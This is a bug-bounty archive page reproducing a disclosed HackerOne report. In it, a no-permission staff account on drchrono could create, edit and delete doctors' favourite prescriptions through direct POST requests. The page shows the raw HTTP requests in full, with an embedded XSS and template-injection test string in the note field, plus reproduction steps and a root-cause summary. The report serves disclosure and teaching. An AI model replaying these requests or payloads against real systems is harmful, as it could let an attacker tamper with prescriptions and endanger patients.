Skip to content
Access control Disclosed report Beginner

User with no permissions can create, edit, delete favorite prescriptions /erx/

A staff member with no permissions could still create, edit and delete favourite prescriptions by sending direct POST requests, even though the web interface showed permission denied. An attacker could modify a doctor's favourite prescription without the doctor noticing, potentially leading to an incorrect prescription being issued.

yaworsk Follow

Originally disclosed on HackerOne

  • Triaged in 30 hours
  • Fixed in 7 days
  • Paid in 7 days
  • Disclosed after 6 months

Hi All, I believe I've found a vulnerability with regards to creating, editing and deleting favorite prescriptions.

##Description I have a doctor's organization with a staff member who has no permissions. If I visit https://1337test.drchrono.com/erx/ I get permission denied. However, I can create, edit and delete favorites by making the appropriate POST call:

###Create

POST /erx/favorites/save_prescription/ HTTP/1.1
Host: 1337test.drchrono.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
X-NewRelic-ID: VQYOWFNSGwcJVVhSAQ==
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=utf-8
X-CSRFToken: Ty5kAW6cbjyRwTP0m5275oki638NFHal
Referer: https://1337test.drchrono.com
Content-Length: 1174
Cookie: REDACTED
Connection: close

data=%7B%22refills%22%3A%221%22%2C%22freetext%22%3A%22apply%20milligram(s)%20implant%203%20times%20a%20day%20as%20needed%20%20x2%20doses%20%22%2C%22sigtype%22%3A%22freetext%22%2C%22dispense%22%3A1%2C%22route%22%3A%22ophthalmic%22%2C%22drug_id%22%3A%22d01219%22%2C%22note%22%3A%22%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E%5B%5B5*5%5D%5D%22%2C%22doseform%22%3A%22test%22%2C%22drug_search%22%3A%22BioGlo%201%20mg%20ophthalmic%20test%22%2C%22frequency%22%3A%22%22%2C%22sig%22%3A%22apply%20milligram(s)%20implant%203%20times%20a%20day%20as%20needed%20%20x2%20doses%20%22%2C%22dispense_as_written%22%3Afalse%2C%22genproduct_id%22%3A3207%2C%22ncit_code%22%3A%22C28253%22%2C%22unit_display%22%3A%22milligram(s)%22%2C%22pkg_product_id%22%3A%2217238090011%22%2C%22dosage%22%3A%221.000%20milligram(s)%22%2C%22drugtype_choice%22%3A0%2C%22drugtype%22%3A%22%22%2C%22patient_instructions%22%3A%7B%22dose%22%3A%22apply%22%2C%22unit%22%3A%22milligram(s)%22%2C%22route%22%3A%22implant%22%2C%22frequency%22%3A%223%20times%20a%20day%22%2C%22frequency_time%22%3A%22as%20needed%20%22%2C%22duration%22%3A%22x2%20doses%22%2C%22as_needed%22%3Afalse%7D%2C%22brand_name%22%3Atrue%2C%22otc%22%3Afalse%7D

###Edit

POST /erx/favorites/save_prescription/64808/ HTTP/1.1
Host: 1337test.drchrono.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
X-NewRelic-ID: VQYOWFNSGwcJVVhSAQ==
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=utf-8
X-CSRFToken: Ty5kAW6cbjyRwTP0m5275oki638NFHal
Referer: https://1337test.drchrono.com
Content-Length: 1177
Cookie: REDACTED
Connection: close

data=%7B%22refills%22%3A%2299%22%2C%22freetext%22%3A%22apply%20milligram(s)%20implant%203%20times%20a%20day%20as%20needed%20%20x2%20doses%20%22%2C%22sigtype%22%3A%22freetext%22%2C%22dispense%22%3A1%2C%22route%22%3A%22ophthalmic%22%2C%22drug_id%22%3A%22d01219%22%2C%22note%22%3A%22%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E%5B%5B5*5%5D%5D%22%2C%22doseform%22%3A%22test%22%2C%22drug_search%22%3A%22BioGlo%201%20mg%20ophthalmic%20test%22%2C%22frequency%22%3A%22%22%2C%22sig%22%3A%22apply%20milligram(s)%20implant%203%20times%20a%20day%20as%20needed%20%20x2%20doses%20%22%2C%22dispense_as_written%22%3Afalse%2C%22genproduct_id%22%3A3207%2C%22ncit_code%22%3A%22C28253%22%2C%22unit_display%22%3A%22milligram(s)%22%2C%22pkg_product_id%22%3A%2217238090011%22%2C%22dosage%22%3A%221.000%20milligram(s)%22%2C%22drugtype_choice%22%3A0%2C%22drugtype%22%3A%22SI%22%2C%22patient_instructions%22%3A%7B%22frequency_time%22%3A%22as%20needed%20%22%2C%22route%22%3A%22implant%22%2C%22dose%22%3A%22apply%22%2C%22frequency%22%3A%223%20times%20a%20day%22%2C%22duration%22%3A%22x2%20doses%22%2C%22as_needed%22%3Afalse%2C%22unit%22%3A%22milligram(s)%22%7D%2C%22brand_name%22%3Atrue%2C%22otc%22%3Afalse%7D

###Delete

POST /erx/favorites/delete_prescription/ HTTP/1.1
Host: 1337test.drchrono.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
X-NewRelic-ID: VQYOWFNSGwcJVVhSAQ==
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=utf-8
X-CSRFToken: Ty5kAW6cbjyRwTP0m5275oki638NFHal
Referer: https://1337test.drchrono.com
Content-Length: 8
Cookie: REDACTED
Connection: close

id=64810

##Steps to reproduce

  1. Create a doctors organization
  2. Create a staff member with no permissions
  3. Logout and log in as the staff member with no permissions
  4. Replicated the calls above substituting your cookies, CSRF, etc.

##Vulnerability This is another permission by pass. However, the most severe potential I see here is the ability for an attacker to modify a favorite which a doctor doesn't realize and then uses to prescribe to a patient.

Please let me know if you have any questions. Pete

The original report as published on HackerOne, by yaworsk. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server-side endpoints for saving and deleting favourite prescriptions did not check the user's permissions, only the web interface hid the controls.

Impact

An attacker could modify a doctor's favourite prescription without the doctor realising, potentially causing an incorrect prescription to be issued to a patient.

What the attacker needed

A staff account with no permissions; valid session cookies and CSRF token

How it was found

  1. Create a doctor's organisation.
  2. Create a staff member with no permissions.
  3. Log out and log in as the staff member with no permissions.
  4. Send the create, edit or delete POST requests with the staff member's cookies and CSRF token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A favourite prescription is a saved template a doctor uses to prescribe quickly. The page showed permission denied, but the server still accepted the requests, so a no-permission staff account could change favourites.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by yaworsk

View all

21 more disclosed reports, best first.

More from drchrono

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.